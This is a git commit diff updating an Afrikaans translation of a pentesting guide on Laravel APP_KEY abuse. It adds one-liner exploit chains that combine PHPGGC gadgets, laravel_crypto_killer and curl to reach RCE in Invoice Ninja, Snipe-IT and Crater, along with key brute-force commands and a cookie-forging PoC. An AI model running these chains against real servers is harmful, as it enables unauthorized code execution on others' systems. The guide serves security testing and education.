Translated ['src/network-services-pentesting/pentesting-web/laravel.md']

This commit is contained in:
Translator 2025-08-04 22:30:00 +00:00
parent 659be9802a
commit 0ae4155c4b

View File

@ -29,7 +29,7 @@ use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete param, koekie, sessie, …).
Voeg die geproduseerde string in enige kwesbare `decrypt()` sink in (roete parameter, koekie, sessie, …).
---
@ -45,7 +45,7 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Die skrip ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.
Die skripte ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.
---
@ -58,32 +58,42 @@ Die skrip ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` koekie | Laravel/RCE15 |
Die uitbuiting werkvloei is altyd:
1. Verkry `APP_KEY` (standaard voorbeelde, Git lek, config/.env lek, of brute-force)
2. Genereer gadget met **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Lewer payload deur die kwesbare parameter/koekie → **RCE**
1. Verkry of brute-force die 32-byte `APP_KEY`.
2. Bou 'n gadget ketting met **PHPGGC** (byvoorbeeld `Laravel/RCE13`, `Laravel/RCE9` of `Laravel/RCE15`).
3. Enkripteer die geserialiseerde gadget met **laravel_crypto_killer.py** en die herwin `APP_KEY`.
4. Lewer die ciphertext aan die kwesbare `decrypt()` sink (roete parameter, koekie, sessie …) om **RCE** te aktiveer.
Hieronder is bondige een-liners wat die volle aanvalspad vir elke werklike wêreld CVE hierbo demonstreer:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
---
## Massiewe APP_KEY ontdekking via koekie brute-force
## Mass APP_KEY ontdekking via koekie brute-force
Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **lek openbare internet skandeerders (Shodan, Censys, …) miljoene ciphertexts** wat offline aangeval kan word.
Omdat elke nuwe Laravel respons ten minste 1 versleutelde koekie (`XSRF-TOKEN` en gewoonlik `laravel_session`) stel, **lek openbare internet skanners (Shodan, Censys, …) miljoene ciphertexts** wat offline aangeval kan word.
Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):
* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gebroke** (≈23 k)
* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gebroke**
* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gekraak** (≈23 k)
* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gekraak**
* >1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
* Groot sleutel hergebruik die Top-10 APP_KEYs is hard-gekodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).
* Groot sleutel hergebruik die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone (UltimatePOS, Invoice Ninja, XPanel, …) gestuur word.
Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volle dataset krak tot <2 minute verminder.
Die private Go tool **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die kraken van die volle dataset tot <2 minute verminder.
---
## Verwysings
* [Laravel: APP_KEY lekkasie analise](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generiese Gadget Kettings](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 skrywe (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
## Laravel Tricks
@ -94,15 +104,15 @@ Byvoorbeeld `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Dit is gewoonlik nodig vir die uitbuiting van ander Laravel RCE CVE's.
Dit is gewoonlik nodig vir die ontginning van ander Laravel RCE CVE's.
### .env
Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd `.env` wat toegang kan verkry word deur 'n paar pad traversie onder: `/../.env`
Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd `.env` wat toegang verkry kan word deur 'n paar pad traversie onder: `/../.env`
Laravel sal ook hierdie inligting binne die foutopsporing bladsy wys (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).
Laravel sal ook hierdie inligting binne die foutopsporing bladsy (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is) wys.
Met die geheime APP_KEY van Laravel kan jy koekies ontsleutel en weer versleutel:
Deur die geheime APP_KEY van Laravel te gebruik, kan jy koekies ontsleutel en weer versleutel:
### Ontsleutel Koekie
```python
@ -176,92 +186,13 @@ Of jy kan dit ook benut met metasploit: `use unix/http/laravel_token_unserialize
Nog 'n deserialisering: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection
Lees inligting oor dit hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection
Lees inligting oor dit hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (`Illuminate\\Encryption\\Encrypter`).
Die rou ciphertext wat uiteindelik **na die kliënt gestuur** word, is **Base64 van 'n JSON objek** soos:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` sal standaard die plaintext `serialize()`, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**.
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete param, koekie, sessie, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) outomatiseer die hele proses en voeg 'n gerieflike **bruteforce** modus by:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Die skripte ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.
---
## Werklike wêreld kwesbare patrone
| Projek | Kwesbare sink | Gadget ketting |
|--------|----------------|----------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` koekie wanneer `Passport::withCookieSerialization()` geaktiveer is | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` koekie | Laravel/RCE15 |
Die uitbuiting werkvloei is altyd:
1. Verkry `APP_KEY` (standaard voorbeelde, Git lek, config/.env lek, of brute-force)
2. Genereer gadget met **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Lewer payload deur die kwesbare parameter/koekie → **RCE**
---
## Massiewe APP_KEY ontdekking via koekie brute-force
Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **publieke internet skandeerders (Shodan, Censys, …) lek miljoene ciphertexts** wat offline aangeval kan word.
Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):
* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gekraak** (≈23 k)
* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gekraak**
* >1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
* Groot sleutel hergebruik die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).
Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volledige dataset kraken tot <2 minute verminder.
---
## Verwysings
* [Laravel: APP_KEY lekkasie analise](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generiese Gadget Kettings](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 skrywe (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}